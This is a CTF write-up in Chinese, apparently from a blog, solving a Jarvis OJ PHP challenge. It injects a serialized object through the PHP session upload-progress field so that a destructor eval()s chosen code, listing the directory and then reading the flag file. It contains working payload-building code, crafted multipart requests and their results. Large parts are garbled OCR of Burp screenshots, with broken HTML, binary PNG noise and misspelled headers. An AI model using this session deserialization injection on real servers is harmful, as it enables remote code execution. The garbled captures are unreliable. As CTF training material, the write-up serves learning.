其实我们是有办法传入\$\_SESSION数据的,这里就利用到了I的反序列化问题。

思路很明显了,我们需要构造一个上传和post同时进行的情况,代码如下:

再考虑序列化:

```
<?php
class OowoO
{
    public $mdzz='print_r(scandir(dirname(__FILE__)));';
}
$obj = new OowoO();
$a = serialize($obj);
var_dump($a);
```

得到下面结果:

```
0:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
```

为防止转义,在引号前加上\。利用前面的html页面随便上传一个东西,抓包,把filename改为如下:

|0:5:\"Oowo0\":1:{s:4:\"mdzz\";s:36:\"print\_r(scandir(dirname(\_\_FILE\_\_)));\";}

注意,前面还有一个|,这是session的格式。

Go Cancel <   v >   v	Target: http://	
Request	Response	
Raw Params Headers Hex	Raw Headers Hex	
POST /index.php HTTP/1.1	#0000BB">\$mdzz <span style="color: #007700">;<br< td=""></br<></span>	
Host: web.jarvisoj.com:32784	/>    function <span style<="" td=""></span>	
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:66.0) Gecko/20100101 Firefox/66.0	#0000BB">construct <span style="color: #007700">()<br< td=""></br<></span>	
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8	/>    { br	
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2	/>	
Accept-Encoding: gzip, deflate	#0000BB">\$this <span style="color: #007700">-&gt;</span>	
Referer: http://localhost/exam/	#0000BB">mdzz <span style="color: #007700">=&amp;r</span>	
Content-Type: multipart/form-data; boundary=17960930324771	style="color: #DD0000">'phpinfo();' <span style="color: #OC&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Content-Length: 142135&lt;/td&gt;&lt;td&gt;/&gt;    }&lt;br/&gt;br/&gt;   &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Connection: close&lt;/td&gt;&lt;td&gt;/&gt;   function &lt;/span&gt;&lt;span style&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Cookie: UM_distinctid=16a4eadc861fc-0d6da8372737fb8-11656d4a-144000-16a4eadc86314b;&lt;/td&gt;&lt;td&gt;#0000BB">destruct</span> <span style="color: #007700">0<br< td=""></br<></span>	
PHPSESSID=2c79lh86a2gvrdbuc6od6pg6v3	/>   { br	
Upgrade-Insecure-Requests: 1	/>        eval(<	
	#0000BB">\$this <span style="color: #007700">-&gt;</span>	
17960930324771	#0000BB">mdzz <span style="color: #007700">); &amp;nt</span>	
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"	/>} if(isset( <span style="color: #0000BB">\$_GET</span>	
	#007700">[ <span style="color: #DD0000">'phpinfo'</span>	
123	#007700">])) { <sp< td=""></sp<>	
17960930324771	#0000BB">\$m <span style="color: #007700">=&amp;nbs</span>	
Content-Disposition: form-data; name="file";	style="color: #0000BB">OowoO <span <mark="" style="color: #0077(&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;filename="> 0:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(FILE)));\";}"</span>	/>{ <span style="color:&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Content-Type: image/png&lt;/td&gt;&lt;td&gt;#0000BB">highlight_string</span> <span style="color: #007700"></span>
	#0000BB">file_get_contents <span <="" style="color: #007700" td=""></span>	
塒NG	#DD0000">'index.php' <span style="color: #007700">)); (span);</span>	
	style="color: #0000BB">?> 	
IHDRapaaa)a aasBITaaa排Oa pHYsaaaaa+aa 🔪 🔪		
IDATx渢絯揺躡'枡畿魇W旦鮨ロ&A俋ロロロ蝋Fロ沖%qv蹰ぼP旆裩ロ1\$ロ3ロロ	Array	
hロロ休@籬S藜{2S すロロロロ⑩醌k業駡s腑ロ."HD"""ロロ`ロTロロロロロロDDAK)ロ	(	
j?□⇔□□豲BDD□P{澪□?之\$\$□U麅浇□RP□)T袩□#QUQ□U"□□□8	[0] => .	
AAAOIE梌A擺DDO辟贌褉6-1 ^DOOOO 嫉晄炜OU@O)场m	[1] =>	
□Q楿牌c忩拧×编>DT□墶奌)%W□E塇I啰□氂盪蕅!伩猍峔C□辰□@c椑^j+□w□-~□;	[2] => Here_1s_7he_fl4g_buT_You_Cannot_see.php	
#/鳊O睶aUB□7□2Q)*b□□□□m□□鶗D奶"BT垔腜蓈岺U	[3] => index.php	
5w暑U口"遃滨口口1口t;口口r`X擠 口口焰凋口口D口UV鄄渞)舊扅口口6口条塑禚F捲颐	[4] => phpinfo.php	
gnM~0\$fku開穿0*(3)為0"價度'0	https://blog.csdn.net/dyw_666666	

通过phpinfo页面查看当前路径 SERVER["SCRIPT FILENAME"]

SERVER_ADMIN	you@example.com
SCRIPT_FILENAME	/opt/lampp/htdocs/index.php
REMOTE DORT	619/2

进一步更改,可获得flag

|0:5:\"Oowoo\":1:{s:4:\"mdzz\";s:88:\"print\_r(file\_get\_contents(\"/opt/lampp/htdocs/Here\_1s\_7he\_fl4g\_buT\_Yo

Go Cancel <   v >   v	Target: http:/	
Request	Response	
Raw Params Headers Hex	Raw Headers Hex	
POST /index.php HTTP/1.1	#007700">, <span style="color: #DD0000">'php'</span>	
Host: web.jarvisoj.com:32784	#007700">); <span style="color: #0000BB">session_</span>	
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; n:66.0) Gecko/20100101 Firefox/66.0	style="color: #007700">(); class <span #00="" 00"="" color:="" style="&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&lt;/td&gt;&lt;td&gt;/&gt;&lt;/span&gt;&lt;span style=">{<br< td=""></br<></span>	
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2	/>    public <span style="&lt;/td"></span>	
Accept-Encoding: gzip, deflate	#UUUUBB">\$mdzz <span style="color: #UU//UU">;<br< td=""></br<></span>	
Referer: http://iocainost/exam/	#0000BP">	
Content-Type: multipart/orn-data, boundary	/>&nhen:&nhen:&nhen:&nhen:&chr	
Connection: close	/>&nhon:&nhon:&nhon:&nhon:&nhon:&nhon:&nhon:&nhon:&nhon:	
Conkie: LIM_distinctid=16a4eadc861fc-0d6da8372737fb8-11656d4a-144000-16a4eadc86314b;	#0000BB">\$this <span style="color: #007700">.&amp;atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atuutpli>atusp,<atusp,<atusp,<atus< td=""></atusp,<atusp,<atus<></atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atusp,<atuutpli></span>	
PHPSESSID=2c79lh86a2avrdbuc6od6pg6v3	#0000BB">mdzz : <span style="color: #007700">=&amp;</span>	
Upgrade-Insecure-Requests: 1	style="color: #DD0000">'phpinfo0:' <span php_session_upload_progress"<="" style="color: #0&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;/&gt; : : : }/&gt; : : &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;17960930324771&lt;/td&gt;&lt;td&gt;/&gt;    function &lt;/span&gt;&lt;span style&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Content-Disposition: form-data; name=" td=""><td>#0000BB"&gt;destruct</td></span> <span style="color: #007700">0<br< td=""></br<></span>	#0000BB">destruct
	/>   { br	
123	/>         eval(	
17960930324771	#0000BB">\$this <span style="color: #007700">-&gt;</span>	
Content-Disposition: form-data; name="file";	#0000BB">mdzz <span style="color: #007700">); &amp;nl</span>	
filename=" <mark> 0:5:\</mark> "OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1	/>} if(isset( <span style="color: #0000BB">\$_GET</span>	
s_7he_fl4g_buT_You_Cannot_see.php\"));\";}"	#007700">[ <span style="color: #DD0000">'phpinfo'</span>	
content-Type: Image/png	#007700">])) { <sp< td=""></sp<>	
leta co	#0000BB">\$m <span style="color: #007700">=&amp;nb</span>	
塒NG	style="color: #0000BB">OowoO <span color:<br="" style="color: #00//&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;/&gt;{&lt;br /&gt;    &lt;/span&gt;&lt;span style=">#0000DDB"&gt; bigblight style="color: #0000DDB"&gt; bigblight style="color: #0000DB"&gt; bigblight style="color: #000DB"&gt; bigblight style="col</span>	
	#0000BB">filgnilgnt_string <span #007700="" style="color:"></span>	
	#00000B >Ine_get_contents <span #007700<="" style="color:" td=""></span>	
	style="color: #0000BB">2&at	
口Q樁牌c会拧 x 编>DT口撞奌)%W口E塇I啰口整盪潮位來够C口辰口@c椑^i+uwu-~口·	php</td	
#/鳊O睶aUB0702Q)*b0000m00鶗D奶"BT垔腜蓈苓U	\$flag="CTF{4d96e37f4be998c50aa586de4ada354a}";	
5w暑U口"遃滨口口1口t;口口r"X擠口口焰凋口口D口UV鄄渞)舊扅口口6口象朢禚F捲赜	?> https://blog.csdn.net/dvw_6666666	

得到flag。